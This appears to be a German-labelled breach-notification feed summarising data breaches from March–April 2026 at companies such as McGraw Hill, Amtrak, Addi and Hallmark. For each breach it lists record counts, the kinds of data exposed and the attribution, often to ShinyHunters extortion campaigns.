| 10.04.2026 - McGraw Hill | 13.500.136 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses In April 2026, education company McGraw Hill confirmed a data breach following an extortion attempt. Attributed to a Salesforce misconfiguration, the company stated the incident exposed "a limited set of data from a webpage hosted by Salesforce on its platform". More than 100GB of data was later publicly distributed, containing 13.5M unique email addresses across multiple files, with additional fields such as name, physical address and phone number appearing inconsistently across some records. |
||
| 08.04.2026 - 7-Eleven | 185.256 Datensätze geleaked | |
| Dates of birth, Email addresses, Names, Phone numbers, Physical addresses In April 2026, 7-Eleven was the victim of a "pay or leak" extortion campaign by ShinyHunters, with the data later published that month. The incident exposed 185k unique email addresses, along with names, physical addresses, dates of birth and phone numbers. A small number of records also contained additional exposed data fields. The company later advised the breach was limited to "certain 7-Eleven systems used to store franchisee documents", a statement consistent with the exposed data. |
||
| 07.04.2026 - My Lovely AI | 106.271 Datensätze geleaked | |
| Email addresses, Social media profiles In April 2026, the NSFW AI girlfriend platform My Lovely AI suffered a data breach that exposed over 100k users. The data included user-created prompts and links to the resulting AI-generated images, along with a small number of Discord and X usernames. |
||
| 06.04.2026 - LegionProxy | 10.144 Datensätze geleaked | |
| Email addresses, Names, Passwords, Purchases In April 2026, the commercial residential and ISP proxy network LegionProxy suffered a data breach. The incident exposed 10k email addresses, bcrypt password hashes, names and purchases. |
||
| 03.04.2026 - Amtrak | 2.147.679 Datensätze geleaked | |
| Email addresses, Names, Physical addresses, Support tickets In April 2026, the hacking group ShinyHunters claimed they had breached Amtrak. The group typically compromises organisations' Salesforce instances before demanding a ransom and later, if not paid, dumping the data publicly. They subsequently published the alleged data which contained over 2M unique email addresses along with names, physical addresses and customer support records. |
||
| 02.04.2026 - SongTrivia2 | 291.739 Datensätze geleaked | |
| Auth tokens, Avatars, Email addresses, Names, Passwords, Usernames In April 2026, the music trivia platform SongTrivia2 suffered a data breach that was subsequently published to a public hacking forum. The data contained a total of 291k unique email addresses sourced from either Google OAuth logins or accounts created on the site, the latter also containing bcrypt password hashes. The data also included names, usernames and avatars. |
||
| 31.03.2026 - Hallmark | 1.736.520 Datensätze geleaked | |
| Email addresses, Names, Phone numbers, Physical addresses, Support tickets In March 2026, Hallmark suffered an alleged breach and subsequent extortion after attackers gained access to data stored within Salesforce. The data was later published after the extortion deadline passed, exposing 1.7M unique email addresses across both Hallmark and the Hallmark+ streaming service, along with names, phone numbers, physical addresses and support tickets. |
||
| 27.03.2026 - ZenBusiness | 5.118.184 Datensätze geleaked | |
| Email addresses, Names, Phone numbers In March 2026, the hacker and extortion group "ShinyHunters" claimed to have obtained a substantial corpus of data from ZenBusiness, a business formation and compliance platform. The group claimed the data had been exfiltrated from platforms including Snowflake, Mixpanel and Salesforce, and threatened to publish it if a ransom was not paid. The following month, after claiming payment had not been made, ShinyHunters publicly released the data. The collection amounted to many terabytes across thousands of files that appeared to originate from multiple systems and business functions, including leads, support records and other CRM-related data. The data contained approximately 5M unique email addresses, often accompanied by name and phone number depending on the source file. |
||
| 26.03.2026 - BreachForums Version 5 | 339.778 Datensätze geleaked | |
| Email addresses, Passwords, Usernames In March 2026, a breach of one of the many iterations of the BreachForums hacking forum known as "Version 5" was publicly disclosed. The incident exposed 340k unique email addresses along with usernames and argon2 password hashes. |
||
| 25.03.2026 - Addi | 34.532.941 Datensätze geleaked | |
| Age groups, Credit scores, Device information, Email addresses, Government issued IDs, Income levels, IP addresses, Latitude and longitude pairs, Names, Phone numbers, Physical addresses, Purchases, Socioeconomic levels In March 2026, the Colombian fintech company Addi identified unauthorised activity on its platform and advised customers that "it is possible that your personal information may have been compromised". The "pay or leak" extortion group ShinyHunters subsequently claimed responsibility and published a large trove of personal data allegedly obtained from Addi. The data included 34M unique email addresses from credit scoring requests, credit bureau records, customer identity records and email validation logs. It also contained government issued IDs (Cédula de Ciudadanía), estimated income, socioeconomic levels, purchases and other credit-related data points. |
||
| 25.03.2026 - Sound Radix | 292.993 Datensätze geleaked | |
| Email addresses, Names, Passwords In March 2026, the audio production tools company Sound Radix disclosed a data breach that they subsequently self-submitted to HIBP. The incident impacted 293k unique email addresses and names. Sound Radix advised that it is possible that additional data including hashed passwords may have been exposed, and that no financial or credit card information was impacted. |
||
| 19.03.2026 - Berkadia | 305.216 Datensätze geleaked | |
| Email addresses, Employers, Names, Phone numbers, Physical addresses In March 2026, the commercial real estate finance company Berkadia was the target of a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Berkadia's Salesforce instance, including over 300k unique email addresses as well as names, physical addresses and phone numbers, among other data. |
||
| 18.03.2026 - Infinite Campus | 137.123 Datensätze geleaked | |
| Email addresses, Employers, Job titles, Names, Phone numbers, Physical addresses, Support tickets, Usernames In March 2026, the student information system Infinite Campus was targeted in a ShinyHunters "pay or leak" extortion campaign. The group subsequently published data they alleged was taken from Infinite Campus, containing 137k unique email addresses along with names, phone numbers, physical addresses and support tickets. Infinite Campus subsequently sent notifications, advising that the exposed data largely consisted of "names and contact information for school staff" and that "the majority is directory information commonly found on school websites". |
||